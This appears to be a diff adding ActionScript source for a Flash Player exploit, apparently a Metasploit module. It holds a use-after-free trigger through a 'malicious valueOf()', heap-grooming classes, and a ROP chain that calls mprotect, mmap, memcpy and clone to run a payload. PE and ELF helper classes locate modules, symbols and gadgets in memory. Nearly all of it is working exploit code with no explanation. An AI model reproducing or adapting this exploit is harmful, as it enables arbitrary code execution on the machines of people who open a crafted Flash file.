eba.write(0, "\xF3\xA4", false) // rep movsb
|
||||||
|
eba.write(0, "\x59", false) // pop ecx
|
||||||
|
eba.write(0, "\x5f", false) // pop edi
|
||||||
|
eba.write(0, "\x5e", false) // pop esi
|
||||||
|
eba.write(0, "\xc3", false) // ret
|
||||||
|
|
||||||
|
// Put the popen parameters in memory
|
||||||
|
eba.write(payload_address + 0x8, payload, true) // false
|
||||||
|
|
||||||
|
// Put the fake stack/vtable on memory
|
||||||
|
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
|
||||||
|
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
|
||||||
|
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
|
||||||
|
|
||||||
|
// Return to mprotect()
|
||||||
|
eba.write(stack_address + 0x18034, mprotect)
|
||||||
|
// Return to stackpivot (jmp over mprotect parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// mprotect() arguments
|
||||||
|
eba.write(0, buffer) // addr
|
||||||
|
eba.write(0, 0x1000) // size
|
||||||
|
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||||
|
|
||||||
|
// Return to mmap()
|
||||||
|
eba.write(stack_address + 0x18068, mmap)
|
||||||
|
// Return to stackpivot (jmp over mmap parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// mmap() code segment arguments
|
||||||
|
eba.write(0, 0x70000000) // 0x70000000
|
||||||
|
eba.write(0, 0x4000) // size
|
||||||
|
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||||
|
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
|
||||||
|
eba.write(0, 0xffffffff) // filedes
|
||||||
|
eba.write(0, 0) // offset
|
||||||
|
|
||||||
|
// Return to mmap()
|
||||||
|
eba.write(stack_address + 0x1809c, mmap)
|
||||||
|
// Return to stackpivot (jmp over mmap parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// mmap() stack segment arguments
|
||||||
|
eba.write(0, 0x70008000) // NULL
|
||||||
|
eba.write(0, 0x10000) // size
|
||||||
|
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||||
|
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
|
||||||
|
eba.write(0, -1) // filedes
|
||||||
|
eba.write(0, 0) // offset
|
||||||
|
|
||||||
|
// Return to memcpy()
|
||||||
|
eba.write(stack_address + 0x180d0, buffer + 0x60)
|
||||||
|
// Return to stackpivot (jmp over memcpy parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// memcpy() parameters
|
||||||
|
eba.write(0, 0x70000000)
|
||||||
|
eba.write(0, payload_address + 0x8)
|
||||||
|
eba.write(0, payload.length)
|
||||||
|
|
||||||
|
// Return to clone()
|
||||||
|
eba.write(stack_address + 0x18104, clone)
|
||||||
|
// Return to CoE (fix stack and object vtable)
|
||||||
|
eba.write(0, buffer + 0x10)
|
||||||
|
// clone() arguments
|
||||||
|
eba.write(0, 0x70000000) // code
|
||||||
|
eba.write(0, 0x7000bff0) // stack
|
||||||
|
eba.write(0, 0x00000100) // flags CLONE_VM
|
||||||
|
eba.write(0, 0) // args
|
||||||
|
|
||||||
|
//call DWORD PTR [eax+0x24]
|
||||||
|
//EAX: 0x41414141 ('AAAA')
|
||||||
|
//EDI: 0xad857088 ("AAAA\377")
|
||||||
|
eba.write(main, stack_address + 0x18000)
|
||||||
|
exploit.hasOwnProperty('msf')
|
||||||
|
}
|
||||||
|
|
||||||
|
private function cleanup():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - cleanup()")
|
||||||
|
spray = null
|
||||||
|
stack = null
|
||||||
|
payload_space = null
|
||||||
|
eba = null
|
||||||
|
ev = null
|
||||||
|
exploit = null
|
||||||
|
System.pauseForGCIfCollectionImminent(0)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,32 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.external.ExternalInterface
|
||||||
|
|
||||||
|
public class Logger {
|
||||||
|
private static const DEBUG:uint = 0
|
||||||
|
|
||||||
|
public static function alert(msg:String):void
|
||||||
|
{
|
||||||
|
var str:String = "";
|
||||||
|
|
||||||
|
if (DEBUG == 1)
|
||||||
|
str += msg;
|
||||||
|
|
||||||
|
if(ExternalInterface.available){
|
||||||
|
ExternalInterface.call("alert", str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function log(msg:String):void
|
||||||
|
{
|
||||||
|
var str:String = "";
|
||||||
|
|
||||||
|
if (DEBUG == 1)
|
||||||
|
str += msg;
|
||||||
|
|
||||||
|
if(ExternalInterface.available){
|
||||||
|
ExternalInterface.call("console.log", str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,98 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.display.DisplayObjectContainer;
|
||||||
|
import flash.utils.ByteArray;
|
||||||
|
import flash.system.Capabilities;
|
||||||
|
import flash.events.MouseEvent;
|
||||||
|
import flash.external.ExternalInterface;
|
||||||
|
|
||||||
|
public class MyClass
|
||||||
|
{
|
||||||
|
static var
|
||||||
|
_gc:Array,
|
||||||
|
_va:Array,
|
||||||
|
_ba:ByteArray,
|
||||||
|
_corrupted:Vector.<uint>,
|
||||||
|
_isDbg:Boolean = Capabilities.isDebugger;
|
||||||
|
|
||||||
|
// define malicious valueOf()
|
||||||
|
prototype.valueOf = function ()
|
||||||
|
{
|
||||||
|
Logger.log("MyClass.valueOf()");
|
||||||
|
|
||||||
|
_va = new Array(5);
|
||||||
|
_gc.push(_va); // protect from GC // for RnD
|
||||||
|
|
||||||
|
// reallocate _ba storage
|
||||||
|
_ba.length = 0x1100;
|
||||||
|
|
||||||
|
// reuse freed memory
|
||||||
|
for(var i:int; i < _va.length; i++)
|
||||||
|
_va[i] = new Vector.<uint>(0x3f0);
|
||||||
|
|
||||||
|
// return one byte for overwriting
|
||||||
|
return 0x40;
|
||||||
|
}
|
||||||
|
|
||||||
|
// try to corrupt the length value of Vector.<uint>
|
||||||
|
static function TryExpl(e:Exploit, platform:String, payload:ByteArray) : Boolean
|
||||||
|
{
|
||||||
|
Logger.log("tryexpl")
|
||||||
|
try
|
||||||
|
{
|
||||||
|
var alen:int = 90; // should be multiply of 3
|
||||||
|
var a = new Array(alen);
|
||||||
|
if (_gc == null) _gc = new Array();
|
||||||
|
_gc.push(a); // protect from GC // for RnD
|
||||||
|
|
||||||
|
// try to allocate two sequential pages of memory: [ ByteArray ][ MyClass2 ]
|
||||||
|
for(var i:int; i < alen; i+=3){
|
||||||
|
a[i] = new MyClass2(i);
|
||||||
|
|
||||||
|
a[i+1] = new ByteArray();
|
||||||
|
a[i+1].length = 0xfa0;
|
||||||
|
|
||||||
|
a[i+2] = new MyClass2(i+2);
|
||||||
|
}
|
||||||
|
|
||||||
|
// find these pages
|
||||||
|
for(i=alen-5; i >= 0; i-=3)
|
||||||
|
{
|
||||||
|
// take next allocated ByteArray
|
||||||
|
_ba = a[i];
|
||||||
|
// call valueOf() and cause UaF memory corruption
|
||||||
|
_ba[3] = new MyClass();
|
||||||
|
// _ba[3] should be unchanged 0
|
||||||
|
Logger.log("_ba[3] = " + _ba[3]);
|
||||||
|
if (_ba[3] != 0) throw new Error("can't cause UaF");
|
||||||
|
|
||||||
|
// check results // find corrupted vector
|
||||||
|
for (var j:int = 0; j < _va.length; j++) {
|
||||||
|
if (_va[j].length != 0x3f0) {
|
||||||
|
_corrupted = _va[j]
|
||||||
|
} else {
|
||||||
|
delete(_va[j])
|
||||||
|
_va[j] = null
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (_corrupted != null) {
|
||||||
|
Logger.log("_corrupted.length = 0x" + _corrupted.length.toString(16));
|
||||||
|
var exploiter:Exploiter = new Exploiter(e, platform, payload,_corrupted, 0x3f0)
|
||||||
|
Logger.log("_corrupted.length = 0x" + _corrupted.length.toString(16));
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Logger.log("bad allocation. try again.");
|
||||||
|
}
|
||||||
|
catch (e:Error)
|
||||||
|
{
|
||||||
|
Logger.log("TryExpl() " + e.toString());
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
|
@ -0,0 +1,9 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.utils.ByteArray;
|
||||||
|
|
||||||
|
class MyClass1 extends ByteArray
|
||||||
|
{
|
||||||
|
var o1:Object, o2:Object, o3:Object, o4:Object;
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,115 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
class MyClass2 extends MyClass1
|
||||||
|
{
|
||||||
|
var
|
||||||
|
// enlarge the MyClass2 size by dummy attributes
|
||||||
|
a0 :uint, a1 :uint, a2 :uint, a3 :uint, a4 :uint, a5 :uint, a6 :uint, a7 :uint, a8 :uint, a9 :uint,
|
||||||
|
a10:uint, a11:uint, a12:uint, a13:uint, a14:uint, a15:uint, a16:uint, a17:uint, a18:uint, a19:uint,
|
||||||
|
a20:uint, a21:uint, a22:uint, a23:uint, a24:uint, a25:uint, a26:uint, a27:uint, a28:uint, a29:uint,
|
||||||
|
a30:uint, a31:uint, a32:uint, a33:uint, a34:uint, a35:uint, a36:uint, a37:uint, a38:uint, a39:uint,
|
||||||
|
a40:uint, a41:uint, a42:uint, a43:uint, a44:uint, a45:uint, a46:uint, a47:uint, a48:uint, a49:uint,
|
||||||
|
a50:uint, a51:uint, a52:uint, a53:uint, a54:uint, a55:uint, a56:uint, a57:uint, a58:uint, a59:uint,
|
||||||
|
a60:uint, a61:uint, a62:uint, a63:uint, a64:uint, a65:uint, a66:uint, a67:uint, a68:uint, a69:uint,
|
||||||
|
a70:uint, a71:uint, a72:uint, a73:uint, a74:uint, a75:uint, a76:uint, a77:uint, a78:uint, a79:uint,
|
||||||
|
a80:uint, a81:uint, a82:uint, a83:uint, a84:uint, a85:uint, a86:uint, a87:uint, a88:uint, a89:uint,
|
||||||
|
a90:uint, a91:uint, a92:uint, a93:uint, a94:uint, a95:uint, a96:uint, a97:uint, a98:uint, a99:uint,
|
||||||
|
|
||||||
|
a100:uint, a101:uint, a102:uint, a103:uint, a104:uint, a105:uint, a106:uint, a107:uint, a108:uint, a109:uint,
|
||||||
|
a110:uint, a111:uint, a112:uint, a113:uint, a114:uint, a115:uint, a116:uint, a117:uint, a118:uint, a119:uint,
|
||||||
|
a120:uint, a121:uint, a122:uint, a123:uint, a124:uint, a125:uint, a126:uint, a127:uint, a128:uint, a129:uint,
|
||||||
|
a130:uint, a131:uint, a132:uint, a133:uint, a134:uint, a135:uint, a136:uint, a137:uint, a138:uint, a139:uint,
|
||||||
|
a140:uint, a141:uint, a142:uint, a143:uint, a144:uint, a145:uint, a146:uint, a147:uint, a148:uint, a149:uint,
|
||||||
|
a150:uint, a151:uint, a152:uint, a153:uint, a154:uint, a155:uint, a156:uint, a157:uint, a158:uint, a159:uint,
|
||||||
|
a160:uint, a161:uint, a162:uint, a163:uint, a164:uint, a165:uint, a166:uint, a167:uint, a168:uint, a169:uint,
|
||||||
|
a170:uint, a171:uint, a172:uint, a173:uint, a174:uint, a175:uint, a176:uint, a177:uint, a178:uint, a179:uint,
|
||||||
|
a180:uint, a181:uint, a182:uint, a183:uint, a184:uint, a185:uint, a186:uint, a187:uint, a188:uint, a189:uint,
|
||||||
|
a190:uint, a191:uint, a192:uint, a193:uint, a194:uint, a195:uint, a196:uint, a197:uint, a198:uint, a199:uint,
|
||||||
|
|
||||||
|
a200:uint, a201:uint, a202:uint, a203:uint, a204:uint, a205:uint, a206:uint, a207:uint, a208:uint, a209:uint,
|
||||||
|
a210:uint, a211:uint, a212:uint, a213:uint, a214:uint, a215:uint, a216:uint, a217:uint, a218:uint, a219:uint,
|
||||||
|
a220:uint, a221:uint, a222:uint, a223:uint, a224:uint, a225:uint, a226:uint, a227:uint, a228:uint, a229:uint,
|
||||||
|
a230:uint, a231:uint, a232:uint, a233:uint, a234:uint, a235:uint, a236:uint, a237:uint, a238:uint, a239:uint,
|
||||||
|
a240:uint, a241:uint, a242:uint, a243:uint, a244:uint, a245:uint, a246:uint, a247:uint, a248:uint, a249:uint,
|
||||||
|
a250:uint, a251:uint, a252:uint, a253:uint, a254:uint, a255:uint, a256:uint, a257:uint, a258:uint, a259:uint,
|
||||||
|
a260:uint, a261:uint, a262:uint, a263:uint, a264:uint, a265:uint, a266:uint, a267:uint, a268:uint, a269:uint,
|
||||||
|
a270:uint, a271:uint, a272:uint, a273:uint, a274:uint, a275:uint, a276:uint, a277:uint, a278:uint, a279:uint,
|
||||||
|
a280:uint, a281:uint, a282:uint, a283:uint, a284:uint, a285:uint, a286:uint, a287:uint, a288:uint, a289:uint,
|
||||||
|
a290:uint, a291:uint, a292:uint, a293:uint, a294:uint, a295:uint, a296:uint, a297:uint, a298:uint, a299:uint,
|
||||||
|
|
||||||
|
a300:uint, a301:uint, a302:uint, a303:uint, a304:uint, a305:uint, a306:uint, a307:uint, a308:uint, a309:uint,
|
||||||
|
a310:uint, a311:uint, a312:uint, a313:uint, a314:uint, a315:uint, a316:uint, a317:uint, a318:uint, a319:uint,
|
||||||
|
a320:uint, a321:uint, a322:uint, a323:uint, a324:uint, a325:uint, a326:uint, a327:uint, a328:uint, a329:uint,
|
||||||
|
a330:uint, a331:uint, a332:uint, a333:uint, a334:uint, a335:uint, a336:uint, a337:uint, a338:uint, a339:uint,
|
||||||
|
a340:uint, a341:uint, a342:uint, a343:uint, a344:uint, a345:uint, a346:uint, a347:uint, a348:uint, a349:uint,
|
||||||
|
a350:uint, a351:uint, a352:uint, a353:uint, a354:uint, a355:uint, a356:uint, a357:uint, a358:uint, a359:uint,
|
||||||
|
a360:uint, a361:uint, a362:uint, a363:uint, a364:uint, a365:uint, a366:uint, a367:uint, a368:uint, a369:uint,
|
||||||
|
a370:uint, a371:uint, a372:uint, a373:uint, a374:uint, a375:uint, a376:uint, a377:uint, a378:uint, a379:uint,
|
||||||
|
a380:uint, a381:uint, a382:uint, a383:uint, a384:uint, a385:uint, a386:uint, a387:uint, a388:uint, a389:uint,
|
||||||
|
a390:uint, a391:uint, a392:uint, a393:uint, a394:uint, a395:uint, a396:uint, a397:uint, a398:uint, a399:uint,
|
||||||
|
|
||||||
|
a400:uint, a401:uint, a402:uint, a403:uint, a404:uint, a405:uint, a406:uint, a407:uint, a408:uint, a409:uint,
|
||||||
|
a410:uint, a411:uint, a412:uint, a413:uint, a414:uint, a415:uint, a416:uint, a417:uint, a418:uint, a419:uint,
|
||||||
|
a420:uint, a421:uint, a422:uint, a423:uint, a424:uint, a425:uint, a426:uint, a427:uint, a428:uint, a429:uint,
|
||||||
|
a430:uint, a431:uint, a432:uint, a433:uint, a434:uint, a435:uint, a436:uint, a437:uint, a438:uint, a439:uint,
|
||||||
|
a440:uint, a441:uint, a442:uint, a443:uint, a444:uint, a445:uint, a446:uint, a447:uint, a448:uint, a449:uint,
|
||||||
|
a450:uint, a451:uint, a452:uint, a453:uint, a454:uint, a455:uint, a456:uint, a457:uint, a458:uint, a459:uint,
|
||||||
|
a460:uint, a461:uint, a462:uint, a463:uint, a464:uint, a465:uint, a466:uint, a467:uint, a468:uint, a469:uint,
|
||||||
|
a470:uint, a471:uint, a472:uint, a473:uint, a474:uint, a475:uint, a476:uint, a477:uint, a478:uint, a479:uint,
|
||||||
|
a480:uint, a481:uint, a482:uint, a483:uint, a484:uint, a485:uint, a486:uint, a487:uint, a488:uint, a489:uint,
|
||||||
|
a490:uint, a491:uint, a492:uint, a493:uint, a494:uint, a495:uint, a496:uint, a497:uint, a498:uint, a499:uint,
|
||||||
|
|
||||||
|
a500:uint, a501:uint, a502:uint, a503:uint, a504:uint, a505:uint, a506:uint, a507:uint, a508:uint, a509:uint,
|
||||||
|
a510:uint, a511:uint, a512:uint, a513:uint, a514:uint, a515:uint, a516:uint, a517:uint, a518:uint, a519:uint,
|
||||||
|
a520:uint, a521:uint, a522:uint, a523:uint, a524:uint, a525:uint, a526:uint, a527:uint, a528:uint, a529:uint,
|
||||||
|
a530:uint, a531:uint, a532:uint, a533:uint, a534:uint, a535:uint, a536:uint, a537:uint, a538:uint, a539:uint,
|
||||||
|
a540:uint, a541:uint, a542:uint, a543:uint, a544:uint, a545:uint, a546:uint, a547:uint, a548:uint, a549:uint,
|
||||||
|
a550:uint, a551:uint, a552:uint, a553:uint, a554:uint, a555:uint, a556:uint, a557:uint, a558:uint, a559:uint,
|
||||||
|
a560:uint, a561:uint, a562:uint, a563:uint, a564:uint, a565:uint, a566:uint, a567:uint, a568:uint, a569:uint,
|
||||||
|
a570:uint, a571:uint, a572:uint, a573:uint, a574:uint, a575:uint, a576:uint, a577:uint, a578:uint, a579:uint,
|
||||||
|
a580:uint, a581:uint, a582:uint, a583:uint, a584:uint, a585:uint, a586:uint, a587:uint, a588:uint, a589:uint,
|
||||||
|
a590:uint, a591:uint, a592:uint, a593:uint, a594:uint, a595:uint, a596:uint, a597:uint, a598:uint, a599:uint,
|
||||||
|
|
||||||
|
a600:uint, a601:uint, a602:uint, a603:uint, a604:uint, a605:uint, a606:uint, a607:uint, a608:uint, a609:uint,
|
||||||
|
a610:uint, a611:uint, a612:uint, a613:uint, a614:uint, a615:uint, a616:uint, a617:uint, a618:uint, a619:uint,
|
||||||
|
a620:uint, a621:uint, a622:uint, a623:uint, a624:uint, a625:uint, a626:uint, a627:uint, a628:uint, a629:uint,
|
||||||
|
a630:uint, a631:uint, a632:uint, a633:uint, a634:uint, a635:uint, a636:uint, a637:uint, a638:uint, a639:uint,
|
||||||
|
a640:uint, a641:uint, a642:uint, a643:uint, a644:uint, a645:uint, a646:uint, a647:uint, a648:uint, a649:uint,
|
||||||
|
a650:uint, a651:uint, a652:uint, a653:uint, a654:uint, a655:uint, a656:uint, a657:uint, a658:uint, a659:uint,
|
||||||
|
a660:uint, a661:uint, a662:uint, a663:uint, a664:uint, a665:uint, a666:uint, a667:uint, a668:uint, a669:uint,
|
||||||
|
a670:uint, a671:uint, a672:uint, a673:uint, a674:uint, a675:uint, a676:uint, a677:uint, a678:uint, a679:uint,
|
||||||
|
a680:uint, a681:uint, a682:uint, a683:uint, a684:uint, a685:uint, a686:uint, a687:uint, a688:uint, a689:uint,
|
||||||
|
a690:uint, a691:uint, a692:uint, a693:uint, a694:uint, a695:uint, a696:uint, a697:uint, a698:uint, a699:uint,
|
||||||
|
|
||||||
|
a700:uint, a701:uint, a702:uint, a703:uint, a704:uint, a705:uint, a706:uint, a707:uint, a708:uint, a709:uint,
|
||||||
|
a710:uint, a711:uint, a712:uint, a713:uint, a714:uint, a715:uint, a716:uint, a717:uint, a718:uint, a719:uint,
|
||||||
|
a720:uint, a721:uint, a722:uint, a723:uint, a724:uint, a725:uint, a726:uint, a727:uint, a728:uint, a729:uint,
|
||||||
|
a730:uint, a731:uint, a732:uint, a733:uint, a734:uint, a735:uint, a736:uint, a737:uint, a738:uint, a739:uint,
|
||||||
|
a740:uint, a741:uint, a742:uint, a743:uint, a744:uint, a745:uint, a746:uint, a747:uint, a748:uint, a749:uint,
|
||||||
|
a750:uint, a751:uint, a752:uint, a753:uint, a754:uint, a755:uint, a756:uint, a757:uint, a758:uint, a759:uint,
|
||||||
|
a760:uint, a761:uint, a762:uint, a763:uint, a764:uint, a765:uint, a766:uint, a767:uint, a768:uint, a769:uint,
|
||||||
|
a770:uint, a771:uint, a772:uint, a773:uint, a774:uint, a775:uint, a776:uint, a777:uint, a778:uint, a779:uint,
|
||||||
|
a780:uint, a781:uint, a782:uint, a783:uint, a784:uint, a785:uint, a786:uint, a787:uint, a788:uint, a789:uint,
|
||||||
|
a790:uint, a791:uint, a792:uint, a793:uint, a794:uint, a795:uint, a796:uint, a797:uint, a798:uint, a799:uint,
|
||||||
|
|
||||||
|
a800:uint, a801:uint, a802:uint, a803:uint, a804:uint, a805:uint, a806:uint, a807:uint, a808:uint, a809:uint,
|
||||||
|
a810:uint, a811:uint, a812:uint, a813:uint, a814:uint, a815:uint, a816:uint, a817:uint, a818:uint, a819:uint,
|
||||||
|
a820:uint, a821:uint, a822:uint, a823:uint, a824:uint, a825:uint, a826:uint, a827:uint, a828:uint, a829:uint,
|
||||||
|
a830:uint, a831:uint, a832:uint, a833:uint, a834:uint, a835:uint, a836:uint, a837:uint, a838:uint, a839:uint,
|
||||||
|
a840:uint, a841:uint, a842:uint, a843:uint, a844:uint, a845:uint, a846:uint, a847:uint, a848:uint, a849:uint,
|
||||||
|
a850:uint, a851:uint, a852:uint, a853:uint, a854:uint, a855:uint, a856:uint, a857:uint, a858:uint, a859:uint,
|
||||||
|
a860:uint, a861:uint, a862:uint, a863:uint, a864:uint, a865:uint, a866:uint, a867:uint, a868:uint, a869:uint,
|
||||||
|
a870:uint, a871:uint, a872:uint, a873:uint, a874:uint, a875:uint, a876:uint, a877:uint, a878:uint, a879:uint,
|
||||||
|
a880:uint, a881:uint, a882:uint, a883:uint, a884:uint, a885:uint, a886:uint, a887:uint, a888:uint, a889:uint,
|
||||||
|
a890:uint, a891:uint, a892:uint, a893:uint, a894:uint, a895:uint, a896:uint, a897:uint, a898:uint, a899:uint
|
||||||
|
|
||||||
|
|
||||||
|
// constructor
|
||||||
|
function MyClass2(id:int)
|
||||||
|
{
|
||||||
|
o1 = this;
|
||||||
|
a0 = id;
|
||||||
|
for(var i:int=1; i < 64; i++) this["a"+i] = 0x11223344;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,72 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
public class PE
|
||||||
|
{
|
||||||
|
private var eba:ExploitByteArray
|
||||||
|
|
||||||
|
public function PE(ba:ExploitByteArray)
|
||||||
|
{
|
||||||
|
eba = ba
|
||||||
|
}
|
||||||
|
|
||||||
|
public function base(addr:uint):uint
|
||||||
|
{
|
||||||
|
addr &= 0xffff0000
|
||||||
|
while (true) {
|
||||||
|
if (eba.read(addr) == 0x00905a4d) return addr
|
||||||
|
addr -= 0x10000
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
public function module(name:String, addr:uint):uint
|
||||||
|
{
|
||||||
|
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
|
||||||
|
var mod_name:String
|
||||||
|
|
||||||
|
while (true) {
|
||||||
|
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
|
||||||
|
if (!entry) throw new Error("FAIL!");
|
||||||
|
mod_name = eba.read_string(addr + entry, name.length)
|
||||||
|
if (mod_name.toUpperCase() == name.toUpperCase()) break
|
||||||
|
}
|
||||||
|
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
|
||||||
|
}
|
||||||
|
|
||||||
|
public function procedure(name:String, addr:uint):uint
|
||||||
|
{
|
||||||
|
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
|
||||||
|
var numberOfNames:uint = eba.read(eat + 0x18)
|
||||||
|
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
|
||||||
|
var addressOfNames:uint = addr + eba.read(eat + 0x20)
|
||||||
|
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
|
||||||
|
var proc_name:String
|
||||||
|
|
||||||
|
for (var i:uint = 0; ; i++) {
|
||||||
|
var entry:uint = eba.read(addressOfNames + i * 4)
|
||||||
|
proc_name = eba.read_string(addr + entry, name.length + 2)
|
||||||
|
if (proc_name.toUpperCase() == name.toUpperCase()) break
|
||||||
|
}
|
||||||
|
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||||
|
}
|
||||||
|
|
||||||
|
public function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||||
|
{
|
||||||
|
var find:uint = 0
|
||||||
|
var contents:uint = 0
|
||||||
|
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
|
||||||
|
var value:uint = parseInt(gadget, 16)
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < limit - 4; i++) {
|
||||||
|
contents = eba.read(addr + i)
|
||||||
|
if (hint == 0xffffffff && value == contents) {
|
||||||
|
return addr + i
|
||||||
|
}
|
||||||
|
if (hint != 0xffffffff && value == (contents & hint)) {
|
||||||
|
return addr + i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,235 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
public class Elf
|
||||||
|
{
|
||||||
|
private const PT_DYNAMIC:uint = 2
|
||||||
|
private const PT_LOAD:uint = 1
|
||||||
|
private const PT_READ_EXEC:uint = 5
|
||||||
|
private const DT_SYMTAB:uint = 6
|
||||||
|
private const DT_STRTAB:uint = 5
|
||||||
|
private const DT_PLTGOT:uint = 3
|
||||||
|
|
||||||
|
private var e_ba:ExploitByteArray
|
||||||
|
// elf base address
|
||||||
|
public var base:uint = 0
|
||||||
|
// program header address
|
||||||
|
public var ph:uint = 0
|
||||||
|
// number of program headers
|
||||||
|
public var ph_size:uint = 0
|
||||||
|
// program header entry size
|
||||||
|
public var ph_esize:uint = 0
|
||||||
|
// DYNAMIC segment address
|
||||||
|
public var seg_dynamic:uint = 0
|
||||||
|
// DYNAMIC segment size
|
||||||
|
public var seg_dynamic_size:uint = 0
|
||||||
|
// CODE segment address
|
||||||
|
public var seg_exec:uint = 0
|
||||||
|
// CODE segment size
|
||||||
|
public var seg_exec_size:uint = 0
|
||||||
|
// .dynsyn section address
|
||||||
|
public var sec_dynsym:uint = 0
|
||||||
|
// .synstr section address
|
||||||
|
public var sec_dynstr:uint = 0
|
||||||
|
// .got.plt section address
|
||||||
|
public var sec_got_plt:uint = 0
|
||||||
|
|
||||||
|
public function Elf(ba:ExploitByteArray, addr:uint)
|
||||||
|
{
|
||||||
|
e_ba = ba
|
||||||
|
set_base(addr)
|
||||||
|
set_program_header()
|
||||||
|
set_program_header_size()
|
||||||
|
set_program_header_entry_size()
|
||||||
|
set_dynamic_segment()
|
||||||
|
set_exec_segment()
|
||||||
|
set_dynsym()
|
||||||
|
set_dynstr()
|
||||||
|
set_got_plt()
|
||||||
|
}
|
||||||
|
|
||||||
|
public function external_symbol(name:String):uint {
|
||||||
|
var entry:uint = 0
|
||||||
|
var st_name:uint = 0
|
||||||
|
var st_value:uint = 0
|
||||||
|
var st_size:uint = 0
|
||||||
|
var st_info:uint = 0
|
||||||
|
var st_other:uint = 0
|
||||||
|
var st_shndx:uint = 0
|
||||||
|
var st_string:String = ""
|
||||||
|
var got_plt_index:uint = 0
|
||||||
|
|
||||||
|
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
|
||||||
|
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||||
|
st_name = e_ba.read(entry)
|
||||||
|
st_value = e_ba.read(entry + 4)
|
||||||
|
st_info = e_ba.read(entry + 0xc, "byte")
|
||||||
|
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||||
|
if (st_string == name) {
|
||||||
|
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
|
||||||
|
}
|
||||||
|
if (st_info != 0x11) {
|
||||||
|
got_plt_index++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
public function symbol(name:String):uint {
|
||||||
|
var entry:uint = 0
|
||||||
|
var st_name:uint = 0
|
||||||
|
var st_value:uint = 0
|
||||||
|
var st_size:uint = 0
|
||||||
|
var st_info:uint = 0
|
||||||
|
var st_other:uint = 0
|
||||||
|
var st_shndx:uint = 0
|
||||||
|
var st_string:String = ""
|
||||||
|
|
||||||
|
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
|
||||||
|
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||||
|
st_name = e_ba.read(entry)
|
||||||
|
st_value = e_ba.read(entry + 4)
|
||||||
|
st_info = e_ba.read(entry + 0xc, "byte")
|
||||||
|
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||||
|
if (st_string == name) {
|
||||||
|
return base + st_value
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public function gadget(gadget:String, hint:uint):uint
|
||||||
|
{
|
||||||
|
var value:uint = parseInt(gadget, 16)
|
||||||
|
var contents:uint = 0
|
||||||
|
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
|
||||||
|
contents = e_ba.read(seg_exec + i)
|
||||||
|
if (hint == 0xffffffff && value == contents) {
|
||||||
|
return seg_exec + i
|
||||||
|
}
|
||||||
|
if (hint != 0xffffffff && value == (contents & hint)) {
|
||||||
|
return seg_exec + i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_base(addr:uint):void
|
||||||
|
{
|
||||||
|
addr &= 0xffff0000
|
||||||
|
while (true) {
|
||||||
|
if (e_ba.read(addr) == 0x464c457f) {
|
||||||
|
base = addr
|
||||||
|
return
|
||||||
|
}
|
||||||
|
addr -= 0x1000
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_program_header():void
|
||||||
|
{
|
||||||
|
ph = base + e_ba.read(base + 0x1c)
|
||||||
|
}
|
